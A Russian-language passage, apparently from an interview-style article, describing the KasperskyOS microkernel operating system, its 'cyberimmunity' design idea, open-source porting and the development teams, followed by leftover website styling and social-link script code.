Часть компонентов при этом могут быть недоверенными, на гарантии безопасности решения в целом это не повлияет. Отдельные компоненты могут быть атакованы, но в правильно спроектированной системе атака не приведет к нарушению этих гарантий, даже если злоумышленник получит возможность выполнять произвольный код. Это свойство информационной системы мы называем **кибериммунитетом**. Как создается экосистема KasperskyOS В фундаментальных компонентах KasperskyOS, таких как микроядро или Kaspersky Security System, нет заимствованного кода, там все выверено и оптимизировано нашей командой. В то же время основная прикладная функциональность системы у нас базируется на open source решениях.
Портируемые в ОС компоненты выбираем по их популярности. Например, библиотека Qt для создания графических приложений, WebKit и веб-сервер nginx очень востребованы, поэтому у нас они есть. Решения узкого назначения адаптируются под KasperskyOS по запросу, а те, которые все используют (какой-нибудь OpenCV), сами добавляем на «дорожную карту» и портируем.  Рабочие места в «Лаборатории» украшают как собственный дом Большинство опенсорсных приложений портируется совершенно понятным способом — обычно за счет использования подмножества POSIX, которое KasperskyOS в существенной степени поддерживает. На сторонних разработчиков софта под KasperskyOS не накладывается никаких дополнительных ограничений, кроме тех, которые диктует сама архитектура системы. В перспективе мы планируем открыть часть нашего кода. То же самое касается сторонних библиотек с нашими изменениями, тем более что в случае GPL этого требует лицензия. Это позволит всем желающим самим портировать отдельные компоненты под нашу ОС и интегрировать их в общую систему сборки. Что касается перевода всего проекта в open source — такую возможность не исключаем, но пока четких планов на этот счет нет. Кто и как создает KasperskyOS Исторически команда KasperskyOS представляла собой отдельное подразделение. Поначалу операционная система была исследовательским проектом, потом напоминала бизнес-инкубатор для обкатки концепций, а на текущий момент относится к сфере продуктовой разработки.
Процесс разработки у нас разбит на итерации, как у многих Agile-команд. Мы упорно стремимся совместить Agile-практики с требованиями регуляторов. Индустриальные стандарты выдвигают требования не только к качеству кода, но и к процессам в компании: как должны вестись разработка, тестирование, проектирование. Зачастую стандарты описывают множество аспектов работы организации, вплоть до бюджетирования. У такой разработки сильный крен в сторону waterfall. Поэтому мы ведем разработку в стиле Agile, но нам приходится держать в голове множество дополнительных факторов. В отделе разработки безопасной платформы существует несколько направлений.
Есть команда, которая занимается микроядром, а также разрабатывает драйверы для оборудования. Микроядро находится в фазе активного развития. В планах на 2020 год — улучшение поддержки многопоточности, совершенствование механизмов внутренних коммуникаций компонентов, расширение функциональности, связанной с безопасностью. Также в приоритете работа ОС в реальном времени и поддержка новых процессорных архитектур, например, ARMv8. Команда KSS разрабатывает на Haskell и C. В эту команду входят люди с математической подготовкой. Они разрабатывают матмодели и с помощью формальных методов доказывают различные свойства нашей системы и отдельных ее компонентов. Самой многочисленной является команда SDK. Она ведет разработку различных компонентов ОС, включая графическую систему, звук, файловые системы, слой совместимости с POSIX. Заодно команда поддерживает работу с open source компонентами: портирование, merge изменений и т. д. Существует также команда разработки безопасного гипервизора, который позволяет запускать внешние ОС в отдельной партиции и интегрировать ее в систему с использованием KSS. Наконец, сейчас формируется команда разработки инфраструктуры. Ей предстоит создавать сервисы для сборки и тестирования, анализа дампов и логов — всего, что может потребоваться для CI/CD и поддержки наших решений. В «Лаборатории Касперского» есть много команд со своими интересными задачами. Например, группа, занимающаяся automotive-решениями, готовит на C++ реализацию стандарта AUTOSAR Adaptive Platform. Еще одна команда работает над концепцией защищенного корпоративного смартфона. Максим Юдин руководитель отдела разработки безопасной платформы (Secure Platform Development) .t-review-social-links { line-height: 0px; } .t-review-social-links\_\_wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; width: auto; } .t-review-social-links { margin-top: 15px; } .t-review-social-links\_\_item { padding: 0px 4px; } .t-review-social-links\_\_item svg { width: 20px; height: 20px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 23px; height: 23px; } .t-review-social-links\_\_item:first-child { padding-left: 0px; } @media screen and (max-width: 960px) { .t-review-social-links\_\_item { margin-bottom: 3px; } } @media screen and (max-width: 640px) { .t-review-social-links { margin-top: 13px; } .t-review-social-links\_\_item { padding: 0px 3px; } .t-review-social-links\_\_item svg { width: 17px; height: 17px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 20px; height: 20px; } } function t\_reviews\_social\_init(recid){ var rec = $('#rec' + recid); var social = rec.find('.t-review-social-links'); if (social !== 'undefined' && social.length > 0) { social.each(function() { var $this = $(this); var socialAttr = $this.attr('data-social-links'); var socialWrapper = $this.find('.t-review-social-links\_\_wrapper'); var links; $this.removeAttr('data-social-links'); if (typeof socialAttr !== 'undefined') { links = socialAttr.split(','); links.forEach(function(item) { t\_reviews\_social\_add\_item(item, socialWrapper); }); } }); } } function t\_reviews\_social\_add\_item(item, socialWrapper) { var fill = socialWrapper.attr('data-social-color') || '#000000'; var fb = ''; fb = '<div class="t-review-social-links\_\_item">'; fb += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { fb += '<svg class="t-review-social-links\_\_svg" version="1.1" id="Layer\_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve" fill="' + fill + '"><desc>Facebook</desc><path d="M47.761,24c0,13.121-10.638,23.76-23.758,23.76C10.877,47.76,0.239,37.121,0.239,24c0-13.124,10.638-23.76,23.764-23.76C37.123,0.24,47.761,10.876,47.761,24 M20.033,38.85H26.2V24.01h4.163l0.539-5.242H26.2v-3.083c0-1.156,0.769-1.427,1.308-1.427h3.318V9.168L26.258,9.15c-5.072,0-6.225,3.796-6.225,6.224v3.394H17.1v5.242h2.933V38.85z"></path></svg>'; } else { fb += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M21.1 7.8C22.5 6.5 24.5 6 26.4 6h6v6.3h-3.9c-.8-.1-1.6.6-1.8 1.4v4.2h5.7c-.1 2-.4 4.1-.7 6.1h-5v18h-7.4V24h-3.6v-6h3.6v-5.9c.1-1.7.7-3.3 1.8-4.3z"/></svg>'; } fb += '</a>'; fb += '</div>'; var twi = ''; twi += '<div class="t-review-social-links\_\_item">'; twi += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.762 24c0 13.121-10.639 23.76-23.761 23.76S.24 37.121.24 24C.24 10.876 10.879.24 24.001.24S47.762 10.876 47.762 24m-9.731-11.625a12.148 12.148 0 0 1-3.87 1.481 6.08 6.08 0 0 0-4.455-1.926 6.095 6.095 0 0 0-6.093 6.095c0 .478.054.941.156 1.388a17.302 17.302 0 0 1-12.559-6.367 6.066 6.066 0 0 0-.825 3.064 6.088 6.088 0 0 0 2.711 5.07 6.075 6.075 0 0 1-2.761-.762v.077c0 2.951 2.1 5.414 4.889 5.975a6.079 6.079 0 0 1-2.752.106 6.104 6.104 0 0 0 5.692 4.232 12.226 12.226 0 0 1-7.567 2.607c-.492 0-.977-.027-1.453-.084a17.241 17.241 0 0 0 9.34 2.736c11.209 0 17.337-9.283 17.337-17.337 0-.263-.004-.527-.017-.789a12.358 12.358 0 0 0 3.039-3.152 12.138 12.138 0 0 1-3.498.958 6.089 6.089 0 0 0 2.686-3.372"/></svg>'; } else { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.8 12.7c-1.3.6-2.8 1-4.2 1.1 1.5-1 2.6-2.3 3.2-4-1.5.8-2.9 1.5-4.7 1.8-1.3-1.5-3.2-2.3-5.3-2.3-4 0-7.3 3.2-7.3 7.3 0 .6 0 1.1.2 1.6-6-.3-11.3-3.2-15.1-7.6-.6 1.1-1 2.3-1 3.7 0 2.6 1.3 4.7 3.2 6-1.1 0-2.3-.3-3.2-1v.2c0 3.6 2.4 6.5 5.8 7.1-.6.2-1.3.3-1.9.3-.5 0-1 0-1.3-.2 1 2.9 3.6 5 6.8 5-2.4 1.9-5.7 3.1-9.1 3.1-.6 0-1.1 0-1.8-.2 3.2 2.1 7 3.2 11.2 3.2 13.4 0 20.7-11 20.7-20.7v-1c1.7-.7 2.8-2 3.8-3.4z"/></svg>'; } twi += '</a>'; twi += '</div>'; var vk = ''; vk += '<div class="t-review-social-links\_\_item">'; vk += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.761 24c0 13.121-10.639 23.76-23.76 23.76C10.878 47.76.239 37.121.239 24 .239 10.877 10.878.24 24.001.24c13.121 0 23.76 10.637 23.76 23.76m-12.502 4.999c-2.621-2.433-2.271-2.041.89-6.25 1.923-2.562 2.696-4.126 2.45-4.796-.227-.639-1.64-.469-1.64-.469l-4.71.029s-.351-.048-.609.106c-.249.151-.414.505-.414.505s-.742 1.982-1.734 3.669c-2.094 3.559-2.935 3.747-3.277 3.524-.796-.516-.597-2.068-.597-3.171 0-3.449.522-4.887-1.02-5.259-.511-.124-.887-.205-2.195-.219-1.678-.016-3.101.007-3.904.398-.536.263-.949.847-.697.88.31.041 1.016.192 1.388.699.484.656.464 2.131.464 2.131s.282 4.056-.646 4.561c-.632.347-1.503-.36-3.37-3.588-.958-1.652-1.68-3.481-1.68-3.481s-.14-.344-.392-.527c-.299-.222-.722-.298-.722-.298l-4.469.018s-.674-.003-.919.289c-.219.259-.018.752-.018.752s3.499 8.104 7.573 12.23c3.638 3.784 7.764 3.36 7.764 3.36h1.867s.566.113.854-.189c.265-.288.256-.646.256-.646s-.034-2.512 1.129-2.883c1.15-.36 2.624 2.429 4.188 3.497 1.182.812 2.079.633 2.079.633l4.181-.056s2.186-.136 1.149-1.858c-.197-.139-.715-1.269-3.219-3.591"/></svg>'; } else { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.2 22.2c.6-.8 1.1-1.5 1.5-2 2.7-3.5 3.8-5.8 3.5-6.8l-.2-.2c-.1-.1-.3-.3-.7-.4-.4-.1-.9-.1-1.5-.1h-7.2c-.2 0-.3 0-.3.1 0 0-.1 0-.1.1v.1c-.1 0-.2.1-.3.2-.1.1-.2.2-.2.4-.7 1.9-1.5 3.6-2.5 5.2-.6 1-1.1 1.8-1.6 2.5s-.9 1.2-1.2 1.5c-.3.3-.6.6-.9.8-.2.3-.4.4-.5.4-.1 0-.3-.1-.4-.1-.2-.1-.4-.3-.5-.6-.1-.2-.2-.5-.3-.9 0-.4-.1-.7-.1-.9v-4c0-.7 0-1.2.1-1.6v-1.3c0-.4 0-.8-.1-1.1-.1-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.8-.3-.8-.2-1.9-.3-3.1-.3-2.9 0-4.7.2-5.5.6-.3.2-.6.4-.9.7-.3.3-.3.5-.1.6.9.1 1.6.5 2 1l.1.3c.1.2.2.6.3 1.1.1.5.2 1.1.2 1.7.1 1.1.1 2.1 0 2.9-.1.8-.1 1.4-.2 1.9-.1.4-.2.8-.3 1.1-.1.3-.2.4-.3.5 0 .1-.1.1-.1.1-.1-.1-.4-.1-.6-.1-.2 0-.5-.1-.8-.3-.3-.2-.6-.5-1-.9-.3-.4-.7-.9-1.1-1.6-.4-.7-.8-1.5-1.3-2.4l-.4-.7c-.2-.4-.5-1.1-.9-1.9-.4-.8-.8-1.6-1.1-2.4-.1-.3-.3-.6-.6-.7l-.1-.1c-.1-.1-.2-.1-.4-.2s-.3-.1-.5-.2H3.2c-.6 0-1.1.1-1.3.4l-.1.1c0 .1-.1.2-.1.4s0 .4.1.6c.9 2.2 1.9 4.3 3 6.3s2 3.6 2.8 4.9c.8 1.2 1.6 2.4 2.4 3.5.8 1.1 1.4 1.8 1.7 2.1.3.3.5.5.6.7l.6.6c.4.4.9.8 1.6 1.3.7.5 1.5 1 2.4 1.5.9.5 1.9.9 3 1.2 1.2.3 2.3.4 3.4.4H26c.5 0 .9-.2 1.2-.5l.1-.1c.1-.1.1-.2.2-.4s.1-.4.1-.6c0-.7 0-1.3.1-1.8s.2-.9.4-1.2c.1-.3.3-.5.5-.7.2-.2.3-.3.4-.3.1 0 .1-.1.2-.1.4-.1.8 0 1.3.4s1 .8 1.4 1.3c.4.5 1 1.1 1.6 1.8.6.7 1.2 1.2 1.6 1.5l.5.3c.3.2.7.4 1.2.5.5.2.9.2 1.3.1l5.9-.1c.6 0 1-.1 1.4-.3.3-.2.5-.4.6-.6.1-.2.1-.5 0-.8-.1-.3-.1-.5-.2-.6-.1-.1-.1-.2-.2-.3-.8-1.4-2.2-3.1-4.4-5.1-1-.9-1.6-1.6-1.9-1.9-.5-.6-.6-1.2-.3-1.9.3-.5 1-1.5 2.2-3z"/></svg>'; } vk += '</a>'; vk += '</div>'; var ok = ''; ok += '<div class="t-review-social-links\_\_item">'; ok += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15.001 29.997C6.715 29.997 0 23.28 0 14.997 0 6.714 6.715 0 15.001 0 23.282-.001 30 6.713 30 14.998c0 8.283-6.716 14.999-14.998 14.999zM15 9.163c.986 0 1.787.803 1.787 1.787 0 .987-.801 1.788-1.787 1.788a1.788 1.788 0 0 1 0-3.574zm4.317 1.787a4.322 4.322 0 0 0-4.317-4.319 4.323 4.323 0 0 0-4.319 4.32A4.322 4.322 0 0 0 15 15.266a4.32 4.32 0 0 0 4.316-4.317zm-2.57 7.84a8.126 8.126 0 0 0 2.507-1.038 1.266 1.266 0 0 0-1.347-2.143 5.482 5.482 0 0 1-5.816 0 1.265 1.265 0 0 0-1.348 2.143c.78.49 1.628.838 2.507 1.038l-2.414 2.414a1.267 1.267 0 0 0 .894 2.16c.324 0 .649-.125.895-.37l2.371-2.373 2.373 2.373a1.265 1.265 0 0 0 1.788-1.789l-2.41-2.415z"/></svg>'; } else { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M12.498 6.2a1.932 1.932 0 0 0-1.929 1.93 1.932 1.932 0 0 0 3.861 0 1.932 1.932 0 0 0-1.932-1.93zm0 6.592a4.668 4.668 0 0 1-4.66-4.662 4.665 4.665 0 0 1 4.66-4.663 4.666 4.666 0 0 1 4.664 4.663 4.669 4.669 0 0 1-4.664 4.662zm-1.884 3.801a8.75 8.75 0 0 1-2.708-1.12 1.367 1.367 0 1 1 1.455-2.312 5.925 5.925 0 0 0 6.276 0 1.367 1.367 0 1 1 1.456 2.311c-.832.522-1.749.9-2.707 1.12l2.606 2.608a1.367 1.367 0 0 1-1.933 1.931L12.5 18.569l-2.561 2.562a1.368 1.368 0 0 1-1.934-1.934l2.609-2.604z"/></svg>'; } ok += '</a>'; ok += '</div>'; var behance = ''; behance += '<div class="t-review-social-links\_\_item">'; behance += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-421.541 278.608c-3.095 0-3.526 3.09-3.526 3.09h6.581c0-.001.042-3.09-3.055-3.09zM-436.472 281.697h-5.834v5.356h5.165c.088 0 .219.002.374 0 .831-.02 2.406-.261 2.406-2.604-.001-2.78-2.111-2.752-2.111-2.752z"/><path d="M-430.984 257C-444.248 257-455 267.75-455 281.014c0 13.263 10.752 24.016 24.016 24.016 13.262 0 24.014-10.752 24.014-24.016-.001-13.263-10.754-24.014-24.014-24.014zm5.054 14.756h8.267v2.467h-8.267v-2.467zm-4.179 12.943c0 6.116-6.364 5.914-6.364 5.914h-10.428v-20.038h10.428c3.168 0 5.668 1.75 5.668 5.335s-3.057 3.813-3.057 3.813c4.031 0 3.753 4.976 3.753 4.976zm15.466-.328h-10.384c0 3.722 3.526 3.487 3.526 3.487 3.329 0 3.213-2.156 3.213-2.156h3.527c0 5.722-6.859 5.33-6.859 5.33-8.227 0-7.698-7.661-7.698-7.661s-.008-7.698 7.698-7.698c8.112.001 6.977 8.698 6.977 8.698z"/><path d="M-435.055 276.221c0-2.084-1.417-2.084-1.417-2.084H-442.306v4.471h5.472c.944 0 1.779-.304 1.779-2.387z"/></svg>'; } else { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M22.4 7.5h-5.6V6.1h5.6v1.4zm-9.3 5.7c.4.6.5 1.2.5 2s-.2 1.6-.6 2.2c-.3.4-.6.8-1 1.1-.4.3-1 .6-1.6.7-.6.1-1.3.2-2 .2H2.3V5.6H9c1.7 0 2.9.5 3.6 1.5.4.6.6 1.3.6 2.1s-.2 1.5-.6 2c-.2.3-.6.6-1.1.8.7.2 1.2.7 1.6 1.2zM5.5 11h2.9c.6 0 1.1-.1 1.5-.3.4-.2.6-.6.6-1.2s-.2-1.1-.7-1.3C9.3 8.1 8.7 8 8.1 8H5.5v3zm5.2 4c0-.7-.3-1.2-.9-1.5-.3-.2-.8-.2-1.4-.2h-3V17h2.9c.6 0 1.1-.1 1.4-.2.7-.3 1-.9 1-1.8zm13.8-2.2c.1.5.1 1.1.1 2h-7.2c0 1 .4 1.7 1 2.1.4.3.9.4 1.4.4.6 0 1.1-.1 1.4-.5.2-.2.4-.4.5-.7h2.6c-.1.6-.4 1.2-1 1.8-.9 1-2.1 1.4-3.7 1.4-1.3 0-2.5-.4-3.5-1.2-1-.8-1.5-2.1-1.5-4 0-1.7.5-3 1.4-4 .9-.9 2.1-1.4 3.5-1.4.9 0 1.6.2 2.3.5.7.3 1.3.8 1.7 1.5.6.6.8 1.3 1 2.1zm-2.7.2c0-.7-.3-1.2-.7-1.6-.4-.4-.9-.5-1.5-.5-.7 0-1.2.2-1.5.6-.4.4-.6.9-.7 1.5h4.4z"/></svg>'; } behance += '</a>'; behance += '</div>'; var vimeo = ''; vimeo += '<div class="t-review-social-links\_\_item">'; vimeo += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 256.971c13.267 0 24.023 10.755 24.023 24.023s-10.755 24.023-24.023 24.023-24.023-10.755-24.023-24.023 10.756-24.023 24.023-24.023zm-12.262 19.146l.996 1.306s2.054-1.619 2.739-.81c.685.81 3.299 10.584 4.171 12.387.761 1.581 2.862 3.672 5.166 2.179 2.302-1.493 9.959-8.03 11.329-15.749 1.369-7.717-9.213-6.1-10.335.623 2.802-1.682 4.297.683 2.863 3.362-1.431 2.676-2.739 4.421-3.424 4.421-.683 0-1.209-1.791-1.992-4.92-.81-3.236-.804-9.064-4.17-8.403-3.171.623-7.343 5.604-7.343 5.604z"/></svg>'; } else { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M2.9 16.5l1.6 2s3.2-2.5 4.3-1.3c1.1 1.3 5.2 16.5 6.5 19.3 1.2 2.5 4.5 5.7 8.1 3.4S39 27.4 41.1 15.3s-14.4-9.5-16.1 1c4.4-2.6 6.7 1.1 4.5 5.3s-4.3 6.9-5.3 6.9c-1.1 0-1.9-2.8-3.1-7.7-1.3-5.1-1.3-14.2-6.5-13.1-5.2 1-11.7 8.8-11.7 8.8z"/></svg>'; } vimeo += '</a>'; vimeo += '</div>'; var youtube = ''; youtube += '<div class="t-review-social-links\_\_item">'; youtube += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 257.013c13.248 0 23.987 10.74 23.987 23.987s-10.74 23.987-23.987 23.987-23.987-10.74-23.987-23.987 10.739-23.987 23.987-23.987zm11.815 18.08c-.25-1.337-1.363-2.335-2.642-2.458-3.054-.196-6.119-.355-9.178-.357-3.059-.002-6.113.154-9.167.347-1.284.124-2.397 1.117-2.646 2.459a40.163 40.163 0 0 0 0 11.672c.249 1.342 1.362 2.454 2.646 2.577 3.055.193 6.107.39 9.167.39 3.058 0 6.126-.172 9.178-.37 1.279-.124 2.392-1.269 2.642-2.606a39.769 39.769 0 0 0 0-11.654zm-14.591 9.342v-7.115l6.627 3.558-6.627 3.557z"/></svg>'; } else { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M43.9 15.3c-.4-3.1-2.2-5-5.3-5.3-3.6-.3-11.4-.5-15-.5-7.3 0-10.6.2-14.1.5-3.3.3-4.8 1.8-5.4 4.9-.4 2.1-.6 4.1-.6 8.9 0 4.3.2 6.9.5 9.2.4 3.1 2.5 4.8 5.7 5.1 3.6.3 10.9.5 14.4.5s11.2-.2 14.7-.6c3.1-.4 4.6-2 5.1-5.1 0 0 .5-3.3.5-9.1 0-3.3-.2-6.4-.5-8.5zM19.7 29.8V18l11.2 5.8-11.2 6z"/></svg>'; } youtube += '</a>'; youtube += '</div>'; var instagram = ''; instagram += '<div class="t-review-social-links\_\_item">'; instagram += ' <a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15 11.014a3.986 3.986 0 1 0 .001 7.971A3.986 3.986 0 0 0 15 11.014zm0 6.592A2.604 2.604 0 0 1 12.393 15 2.604 2.604 0 0 1 15 12.394 2.614 2.614 0 0 1 17.607 15 2.604 2.604 0 0 1 15 17.606zM19.385 9.556a.915.915 0 0 0-.92.921c0 .512.407.919.92.919a.914.914 0 0 0 .921-.919.916.916 0 0 0-.921-.921z"/><path d="M15.002.15C6.798.15.149 6.797.149 15c0 8.201 6.649 14.85 14.853 14.85 8.199 0 14.85-6.648 14.85-14.85 0-8.203-6.651-14.85-14.85-14.85zm7.664 18.115c0 2.423-1.979 4.401-4.416 4.401h-6.5c-2.438 0-4.417-1.979-4.417-4.386v-6.546c0-2.422 1.978-4.4 4.417-4.4h6.5c2.438 0 4.416 1.978 4.416 4.4v6.531z"/></svg>'; } else { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M16.396 3.312H8.604c-2.921 0-5.292 2.371-5.292 5.273v7.846c0 2.886 2.371 5.256 5.292 5.256h7.791c2.922 0 5.292-2.37 5.292-5.274V8.586c.001-2.903-2.37-5.274-5.291-5.274zM7.722 12.5a4.778 4.778 0 1 1 9.554 0 4.778 4.778 0 0 1-9.554 0zm10.034-4.318c-.615 0-1.104-.487-1.104-1.102s.488-1.103 1.104-1.103c.614 0 1.102.488 1.102 1.103s-.488 1.102-1.102 1.102z" /><path d="M12.5 9.376A3.12 3.12 0 0 0 9.376 12.5a3.12 3.12 0 0 0 3.124 3.124 3.12 3.12 0 0 0 3.124-3.124A3.133 3.133 0 0 0 12.5 9.376z"/></svg>'; } instagram += '</a>'; instagram += '</div>'; var pinterest = ''; pinterest += '<div class="t-review-social-links\_\_item">'; pinterest += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-407 281c0 13.254-10.746 24-23.999 24-13.257 0-24.003-10.746-24.003-24 0-13.256 10.746-24 24.003-24 13.253 0 23.999 10.744 23.999 24zm-30.628 14.811c.027.205.29.254.409.1.17-.223 2.365-2.932 3.111-5.639.211-.768 1.212-4.738 1.212-4.738.599 1.145 2.349 2.148 4.21 2.148 5.539 0 9.297-5.049 9.297-11.809 0-5.111-4.329-9.873-10.909-9.873-8.186 0-12.314 5.871-12.314 10.766 0 2.963 1.122 5.6 3.527 6.582.395.162.749.006.863-.43.08-.303.268-1.065.353-1.385.114-.432.07-.582-.248-.959-.694-.818-1.138-1.879-1.138-3.381 0-4.353 3.259-8.252 8.484-8.252 4.627 0 7.169 2.828 7.169 6.603 0 4.969-2.198 9.162-5.461 9.162-1.804 0-3.153-1.49-2.722-3.32.518-2.182 1.522-4.537 1.522-6.113 0-1.41-.758-2.588-2.324-2.588-1.843 0-3.323 1.908-3.323 4.461 0 1.627.55 2.727.55 2.727l-2.217 9.391c-.657 2.787-.099 6.203-.051 6.547z"/></svg>'; } else { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M24.9 5.5c4.2 0 7.7 1.3 10.5 3.9s4.1 5.7 4.1 9.2c0 4.6-1.2 8.4-3.5 11.3-2.3 3-5.3 4.5-8.9 4.5-1.2 0-2.3-.3-3.4-.9s-1.8-1.3-2.2-2c-.9 3.5-1.4 5.6-1.6 6.3-.7 2.4-2 4.9-4.1 7.5-.2.2-.4.2-.5-.1-.5-3.5-.5-6.4.1-8.7l2.9-12.6c-.5-.9-.7-2.1-.7-3.6 0-1.7.4-3.1 1.3-4.2s1.9-1.7 3.2-1.7c1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.4 0 .6-.1 1.4-.3 2.3-.2.9-.5 1.9-.9 3.1s-.6 2.1-.8 2.8c-.3 1.2-.1 2.2.7 3.1.7.9 1.7 1.3 3 1.3 2.1 0 3.8-1.2 5.2-3.6 1.4-2.4 2-5.3 2-8.7 0-2.6-.8-4.7-2.5-6.3-1.7-1.6-4-2.4-7-2.4-3.4 0-6.1 1.1-8.2 3.2S13 17.4 13 20.4c0 1.8.5 3.3 1.5 4.5.3.4.4.8.3 1.2 0 .1-.1.3-.2.6-.1.4-.1.6-.2.7 0 .1-.1.4-.2.6-.1.3-.3.4-.4.4h-.6c-3.1-1.3-4.7-4.2-4.7-8.7 0-3.6 1.5-6.9 4.4-9.9s7-4.3 12-4.3z"/></svg>'; } pinterest += '</a>'; pinterest += '</div>'; var linkedin = ''; linkedin += '<div class="t-review-social-links\_\_item">'; linkedin += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-615 1477 48 48" fill="' + fill + '"><path d="M-566.999 1501c0 13.256-10.746 24-24 24-13.256 0-24.002-10.744-24.002-24 0-13.254 10.746-24 24.002-24 13.254 0 24 10.746 24 24zm-38.507 13.975h6.22v-20.004h-6.22v20.004zm3.11-22.739a3.606 3.606 0 0 0 0-7.211 3.603 3.603 0 0 0-3.604 3.605 3.604 3.604 0 0 0 3.604 3.606zm26.396 11.766c0-5.387-1.163-9.529-7.454-9.529-3.023 0-5.054 1.658-5.884 3.231h-.085v-2.733h-5.964v20.004h6.216v-9.896c0-2.609.493-5.137 3.729-5.137 3.186 0 3.232 2.984 3.232 5.305v9.729h6.21v-10.974z"/></svg>'; } else { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M42.3 23.1v13.5h-7.9V24c0-3.2-1.1-5.3-4-5.3-2.2 0-3.5 1.5-4 2.9-.2.5-.3 1.2-.3 1.9v13.2h-7.9s.1-21.4 0-23.6h7.9v3.3s0 .1-.1.1h.1v-.1c1-1.6 2.9-3.9 7.1-3.9 5.2-.1 9.1 3.3 9.1 10.6zM10.1 1.6c-2.7 0-4.4 1.8-4.4 4.1S7.4 9.8 10 9.8h.1c2.7 0 4.4-1.8 4.4-4.1s-1.7-4.1-4.4-4.1zm-3.9 35H14V13H6.2v23.6z"/></svg>'; } linkedin += '</a>'; linkedin += '</div>'; var soundcloud = ''; soundcloud += '<div class="t-review-social-links\_\_item">'; soundcloud += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><defs><path id="a" d="M0 0h48v48H0V0z"/></defs><g fill-rule="evenodd"><path d="M38.206 22.171c-.635 0-1.241.129-1.793.36-.369-4.177-3.871-7.453-8.144-7.453a8.28 8.28 0 0 0-2.965.553c-.35.136-.442.275-.446.546v14.709a.545.545 0 0 0 .5.531c.013.002 12.848 0 12.848 0 2.56 0 4.634-2.051 4.634-4.611a4.634 4.634 0 0 0-4.634-4.635zM24.17 16.237a.5.5 0 0 0-.582.043.517.517 0 0 0-.189.392v.053l-.21 10.388.107 1.92.103 1.869a.514.514 0 0 0 